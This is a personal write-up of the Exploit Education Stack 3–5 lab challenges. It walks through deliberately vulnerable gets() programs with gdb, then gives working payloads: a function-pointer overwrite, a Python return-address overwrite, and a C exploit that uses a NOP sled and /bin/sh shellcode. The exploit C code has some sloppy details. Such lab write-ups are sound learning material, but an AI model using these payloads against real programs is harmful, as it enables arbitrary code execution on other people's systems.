Exploit Education Writeup Part 2

Date: 27 October 2022

This is part 2 of my writeup for the Exploit Education Stack challenges. In this part I will go over the Stack 3, 4 and 5 problems.

You can view part 1 of my writeup here

Stack 3 challenge


     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>

     char *gets(char *);

     void complete_level() {
       printf("Congratulations, you've finished :-) Well done!\n");
       exit(0);
     }

     int main(int argc, char **argv) {
       struct {
	 char buffer[64];
	 volatile int (*fp)();
       } locals;

       locals.fp = NULL;
       gets(locals.buffer);

       if (locals.fp) {
	 printf("calling function pointer @ %p\n", locals.fp);
	 fflush(stdout);
	 locals.fp();
       } else {
	 printf("function pointer remains unmodified :~( better luck next time!\n");
       }

       exit(0);
     }
    

In this challenge, we have to write to the function pointer fp to point to the function complete_level().

The first thing we will do is analyse the code. Straight away, we can see gets() is called on the member buffer inside the struct locals. gets() is a dangerous function in C since it does no bounds checking and can lead to serious problems such as buffer overflows.

Due to the way the struct locals is declared, we may be able to assume we could overflow buffer and write to the function pointer fp. We could do this and see if the printf() inside the if statement gives us a value we wrote to the pointer. Let's test this out:

First, I will set my assembly syntax to Intel in gdb:


     (gdb) set disassembly-flavor intel 
    

After disassembling main(), we need to find a suitable line to set a breakpoint at. Let's set a breakpoint at 0x000000000040120d, which is the line after the call to gets(). This will allow us to inspect the stack straight after we have given input via gets().


     (gdb) disassemble main
     Dump of assembler code for function main:
	0x00000000004011d7 <+0>:	endbr64 
	0x00000000004011db <+4>:	push   rbp
	0x00000000004011dc <+5>:	mov    rbp,rsp
	0x00000000004011df <+8>:	sub    rsp,0x60
	0x00000000004011e3 <+12>:	mov    DWORD PTR [rbp-0x54],edi
	0x00000000004011e6 <+15>:	mov    QWORD PTR [rbp-0x60],rsi
	0x00000000004011ea <+19>:	mov    rax,QWORD PTR fs:0x28
	0x00000000004011f3 <+28>:	mov    QWORD PTR [rbp-0x8],rax
	0x00000000004011f7 <+32>:	xor    eax,eax
	0x00000000004011f9 <+34>:	mov    QWORD PTR [rbp-0x10],0x0
	0x0000000000401201 <+42>:	lea    rax,[rbp-0x50]
	0x0000000000401205 <+46>:	mov    rdi,rax
	0x0000000000401208 <+49>:	call   0x4010a0 <gets@plt>
	0x000000000040120d <+54>:	mov    rax,QWORD PTR [rbp-0x10]
	0x0000000000401211 <+58>:	test   rax,rax
	0x0000000000401214 <+61>:	je     0x40124d <main+118>
	0x0000000000401216 <+63>:	mov    rax,QWORD PTR [rbp-0x10]
	0x000000000040121a <+67>:	mov    rsi,rax
	0x000000000040121d <+70>:	lea    rax,[rip+0xe14]        # 0x402038
	0x0000000000401224 <+77>:	mov    rdi,rax
	0x0000000000401227 <+80>:	mov    eax,0x0
	0x000000000040122c <+85>:	call   0x401090 <printf@plt>
	0x0000000000401231 <+90>:	mov    rax,QWORD PTR [rip+0x2e18]        # 0x404050 <stdout@GLIBC_2.2.5>
	0x0000000000401238 <+97>:	mov    rdi,rax
	0x000000000040123b <+100>:	call   0x4010b0 <fflush@plt>
	0x0000000000401240 <+105>:	mov    rdx,QWORD PTR [rbp-0x10]
     End of assembler dump.
    

     (gdb) b *0x000000000040120d
     Breakpoint 1 at 0x40120d
    

Now, we should run the program and give the program suitable and recognizable input. Let's give the program 64 'A's to fill the buffer and an additional 4 'A's to see if we can write something to the function pointer.

Nice! It looks like we have written something to the function pointer fp. However, we have got a segmentation fault since we set the value of fp to be a string of 'A's.

We can see from calling function pointer @ 0x41414141 that the value of fp is a bunch of 'A's.


     (gdb) r
     Starting program: /home/user/x 
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

     Breakpoint 1, 0x000000000040120d in main ()
     (gdb) c
     Continuing.
     calling function pointer @ 0x41414141

     Program received signal SIGSEGV, Segmentation fault.
     0x0000000041414141 in ?? ()
    

Now, we need to write a valid address at the function pointer fp. For this, we can use the complete_level function, which has the address 0x00000000004011b6 in my case. We can give the program 64 'A's and the address of the function in little endian byte order. Let's try this out and see what happens:

Program to print our input:


     #include <stdio.h>

     int main() {

	 printf("%s", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40");
	 return 0;
     }
    

Running it:


     user@user:~$ ./m | ./x
     calling function pointer @ 0x4011b6
     Congratulations, you've finished :-) Well done!
    

Nice! It worked. We have successfully called complete_level() by overflowing buffer and changing the value of fp.

Stack 4 challenge


     #include <err.h>
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>

     char *gets(char *);

     void complete_level() {
       printf("Congratulations, you've finished :-) Well done!\n");
       exit(0);
     }

     void start_level() {
       char buffer[64];
       void *ret;

       gets(buffer);

       ret = __builtin_return_address(0);
       printf("and will be returning to %p\n", ret);
     }

     int main(int argc, char **argv) {
       start_level();
     }
    

In this challenge we will attempt to overwrite a function's return address. A return address is an address that is saved onto the stack when a function is called. When a function is called inside a program, the address of the instruction after the function call is pushed onto the stack. This is because once the function has finished, execution needs to resume in the program and the return address is where this will happen.

The first thing we will do is examine the code. In the code we can see a call to gets() to fill a buffer, this could lead to a buffer overflow and be an ideal way to overwrite the return address. Let's first see the return address in action:


     (gdb) set disassembly-flavor intel 
    

Next we will disassemble main() and start_level() so we can find good points to set breakpoints in order to view the return address in action.


     (gdb) disassemble main 
     Dump of assembler code for function main:
	0x00000000004011f5 <+0>:	endbr64 
	0x00000000004011f9 <+4>:	push   rbp
	0x00000000004011fa <+5>:	mov    rbp,rsp
	0x00000000004011fd <+8>:	sub    rsp,0x10
	0x0000000000401201 <+12>:	mov    DWORD PTR [rbp-0x4],edi
	0x0000000000401204 <+15>:	mov    QWORD PTR [rbp-0x10],rsi
	0x0000000000401208 <+19>:	mov    eax,0x0
	0x000000000040120d <+24>:	call   0x4011b7 
	0x0000000000401212 <+29>:	mov    eax,0x0
	0x0000000000401217 <+34>:	leave  
	0x0000000000401218 <+35>:	ret  
     End of assembler dump.
    

     (gdb) disassemble start_level 
     Dump of assembler code for function start_level:
	0x00000000004011b7 <+0>:	endbr64 
	0x00000000004011bb <+4>:	push   rbp
	0x00000000004011bc <+5>:	mov    rbp,rsp
	0x00000000004011bf <+8>:	sub    rsp,0x50
	0x00000000004011c3 <+12>:	lea    rax,[rbp-0x50]
	0x00000000004011c7 <+16>:	mov    rdi,rax
	0x00000000004011ca <+19>:	call   0x401090 
	0x00000000004011cf <+24>:	mov    rax,QWORD PTR [rbp+0x8]
	0x00000000004011d3 <+28>:	mov    QWORD PTR [rbp-0x8],rax
	0x00000000004011d7 <+32>:	mov    rax,QWORD PTR [rbp-0x8]
	0x00000000004011db <+36>:	mov    rsi,rax
	0x00000000004011de <+39>:	lea    rax,[rip+0xe53]        # 0x402038
	0x00000000004011e5 <+46>:	mov    rdi,rax
	0x00000000004011e8 <+49>:	mov    eax,0x0
	0x00000000004011ed <+54>:	call   0x401080 
	0x00000000004011f2 <+59>:	nop
	0x00000000004011f3 <+60>:	leave  
	0x00000000004011f4 <+61>:	ret    
     End of assembler dump.
    

The call instruction in main() at 0x000000000040120d calls the start_level() function. The call instruction also does some other things (normally) such as pushing the return address onto the stack and setting EIP/RIP to the called function's instructions so it can begin executing.

Let's set a breakpoint at the first line of start_level() so we can view the stack right after call calls the function. We should expect to see the return address 0x0000000000401212 on the stack.


     (gdb) b *0x00000000004011b7
     Breakpoint 1 at 0x4011b7
     (gdb) r
     Starting program: /home/user/x 
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

     Breakpoint 1, 0x00000000004011b7 in start_level ()
     (gdb) x/100x $sp
     0x7fffffffde38:	0x00401212	0x00000000	0xffffdf68	0x00007fff
     0x7fffffffde48:	0x004010b0	0x00000001	0x00000001	0x00000000
     0x7fffffffde58:	0xf7da9d90	0x00007fff	0x00000000	0x00000000
     0x7fffffffde68:	0x004011f5	0x00000000	0xffffdf50	0x00000001
     0x7fffffffde78:	0xffffdf68	0x00007fff	0x00000000	0x00000000
     0x7fffffffde88:	0x186e83b2	0x9ab9da71	0xffffdf68	0x00007fff
     0x7fffffffde98:	0x004011f5	0x00000000	0x00403e18	0x00000000
     0x7fffffffdea8:	0xf7ffd040	0x00007fff	0xa4ac83b2	0x6546258e
    

We can see the return address 0x00401212 on the first line. Now that we have seen the return address in action we can begin trying to overwrite it. To do this we could overflow the buffer, but first we should see how far the return address is from our buffer. Let's fill the buffer, set a breakpoint after gets() and view the stack.


     (gdb) b *0x00000000004011cf
     Breakpoint 1 at 0x4011cf
     (gdb) r
     Starting program: /home/user/x 
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

     Breakpoint 1, 0x00000000004011cf in start_level ()
     (gdb) x/100x $sp
     0x7fffffffdde0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddf0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde00:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde10:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde20:	0x00000000	0x00000000	0x178bfbff	0x00000000
     0x7fffffffde30:	0xffffde50	0x00007fff	0x00401212	0x00000000
     0x7fffffffde40:	0xffffdf68	0x00007fff	0x004010b0	0x00000001
     0x7fffffffde50:	0x00000001	0x00000000	0xf7da9d90	0x00007fff
    

From the output above we can see that the buffer is 24 bytes away from the return address. Using this information we can craft an exploit. Our intention here is to change the return address so another function is executed, in this case let's use the complete_level() function. We will craft an input string consisting of:

Another way to figure out the size could be to look at this code:


     Dump of assembler code for function start_level:
	0x00000000004011b7 <+0>:	endbr64 
	0x00000000004011bb <+4>:	push   rbp
	0x00000000004011bc <+5>:	mov    rbp,rsp
	0x00000000004011bf <+8>:	sub    rsp,0x50
    

This code tells us that 3 things happen:

In our case the size of RBP is 8 bytes. So we need to fill 8 + 0x50 (80) bytes to get to the return address.

Let's craft the input and see what happens:

Our exploit:


     var = ""
     var += 'A'*80
     var += 'AAAAAAAA'
     var += '\x96\x11\x40'
     print(var)
    

Running it:


     user@user:~$ python2 exploit.py | ./x 
     and will be returning to 0x401196
     Congratulations, you've finished :-) Well done!
    

Nice! We have successfully overwritten the return address.

Stack 5 challenge


     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>

     char *gets(char *);

     void start_level() {
       char buffer[128];
       gets(buffer);
     }

     int main(int argc, char **argv) {
       start_level();
     }
    

This challenge introduces the concept of shellcode and using NOP sleds to exploit stack-based buffer overflows. For this challenge, we will use shellcode from http://shell-storm.org/shellcode.

The first thing we should do is analyze the program above. The program uses the vulnerable gets() function to read input from stdin. gets() is dangerous as it has no bound-checking and allows a user to write past a buffer.

Let's disassemble this program and view the stack after filling the buffer:

First, I will set my assembly syntax to Intel as I find it easier to read.

(gdb) set disassembly-flavor intel

Next, I disassembled main() and start_level(). I set a breakpoint at address 0x000000000040114e, which is the instruction after the call to gets(). This will allow me to view the stack after I provide the program with input.


     (gdb) disassemble main
     Dump of assembler code for function main:
	0x0000000000401151 <+0>:	endbr64 
	0x0000000000401155 <+4>:	push   rbp
	0x0000000000401156 <+5>:	mov    rbp,rsp
	0x0000000000401159 <+8>:	sub    rsp,0x10
	0x000000000040115d <+12>:	mov    DWORD PTR [rbp-0x4],edi
	0x0000000000401160 <+15>:	mov    QWORD PTR [rbp-0x10],rsi
	0x0000000000401164 <+19>:	mov    eax,0x0
	0x0000000000401169 <+24>:	call   0x401136 
	0x000000000040116e <+29>:	mov    eax,0x0
	0x0000000000401173 <+34>:	leave  
	0x0000000000401174 <+35>:	ret    
     End of assembler dump.
    

     (gdb) disassemble start_level 
     Dump of assembler code for function start_level:
	0x0000000000401136 <+0>:	endbr64 
	0x000000000040113a <+4>:	push   rbp
	0x000000000040113b <+5>:	mov    rbp,rsp
	0x000000000040113e <+8>:	add    rsp,0xffffffffffffff80
	0x0000000000401142 <+12>:	lea    rax,[rbp-0x80]
	0x0000000000401146 <+16>:	mov    rdi,rax
	0x0000000000401149 <+19>:	call   0x401040 
	0x000000000040114e <+24>:	nop
	0x000000000040114f <+25>:	leave  
	0x0000000000401150 <+26>:	ret    
     End of assembler dump.
    

     (gdb) b *0x000000000040114e
     Breakpoint 1 at 0x40114e
    

Next, I ran the program and provided it with 128 'A's so I can fill the buffer. Below we can see the filled buffer as well as the return address 0x0040116e on the last line. Given this setup, we could exploit the buffer overflow in this program and execute our own code!


     (gdb) r
     Starting program: /home/user/x 
     [Thread debugging using libthread_db enabled]
     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

     Breakpoint 1, 0x000000000040114e in start_level ()
     (gdb) x/100x $sp
     0x7fffffffddb0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddc0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddd0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffdde0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffddf0:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde00:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde10:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde20:	0x41414141	0x41414141	0x41414141	0x41414141
     0x7fffffffde30:	0xffffde00	0x00007fff	0x0040116e	0x00000000
    

The way we can do this is using a concept known as a 'NOP sled'. A NOP sled is a technique that allows someone to exploit a buffer overflow and execute some sort of malicious code. This malicious code is normally called 'shellcode' (because it mainly spawns a shell when run).

The way NOP sleds work is by utilizing the machine language instruction 'NOP' ('\x90') which essentially does almost nothing. It is an instruction that can be executed by the CPU but also does nothing. NOP sleds work by adding a certain number of NOPs on the stack followed by some shellcode and then lastly overwriting the return address to an address somewhere in the NOPs at the start.

Using the above output, a NOP sled could look like this:


     (gdb) x/100x $sp
     0x7fffffffddb0:	0x41414141	0x41414141	0x41414141	0x41414141 ]
     0x7fffffffddc0:	0x41414141	0x41414141	0x41414141	0x41414141 ]
     0x7fffffffddd0:	0x41414141	0x41414141	0x41414141	0x41414141 ] ===== These lines could be filled with NOPs (\x90)
     0x7fffffffdde0:	0x41414141	0x41414141	0x41414141	0x41414141 ]
     0x7fffffffddf0:	0x41414141	0x41414141	0x41414141	0x41414141 ]
     0x7fffffffde00:	0x41414141	0x41414141	0x41414141	0x41414141 )
     0x7fffffffde10:	0x41414141	0x41414141	0x41414141	0x41414141 ) ===== These lines could be where our shellcode is
     0x7fffffffde20:	0x41414141	0x41414141	0x41414141	0x41414141 )
     0x7fffffffde30:	0xffffde00	0x00007fff	0x0040116e	0x00000000 } ===== On this line we overwrite the return address 0x0040116e 
    											to somewhere in the NOPs above. This gives us flexibility
    											and allows us to specify any address within the NOP block
    											since if execution reaches there it will always "slide" down
    											to the shellcode!
    

Using this information, we can now craft an exploit. Below, I have written an exploit in C which utilizes a NOP sled on a file that we can specify.


     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>

     int main(int *argc, char *argv[]) {

	 char *exploit = malloc(sizeof(char) * 143); // Allocate memory for input string 
	 
	 FILE *file;
	 file = popen (argv[1], "w"); // Executes file specified in argv[1]

	 for (int i = 1; i <= 80; i++) 
	      strcat(exploit, "\x90"); // Adds NOP (\x90) to the input string

	 char *shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97 \
			    \xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54 \
			    \x5e\xb0\x3b\x0f\x05";                           // Shellcode to execute /bin/sh



	 strcat(exploit, shellcode); // Add shellcode to input string

	 for (int i = 1; i <= 29; i++)
	      strcat(exploit, "\x90"); // Adds more NOPs to input string 

	 strcat(exploit, "\xd0\xdd\xff\xff\xff\x7f"); // Address that we will overwrite the return address with
						      // This address can point to somewhere at the first NOP block

	 fwrite(exploit, 1, 143, file); // Writing the crafted input string to stdin (since we executed the file with popen())
     }
    

Let's try and run the exploit and see if it works:


     user@user:~$ ./exploit x
     user@user:~$ sh: 1: x: not found
     whoami; id; groups
     user
     uid=1002(user) gid=1002(user) groups=1002(user), 64(cdrom) 13(dip), 64(plugdev)
     user cdrom plugdev
    

Nice, it works! We were able to execute /bin/sh and run some commands.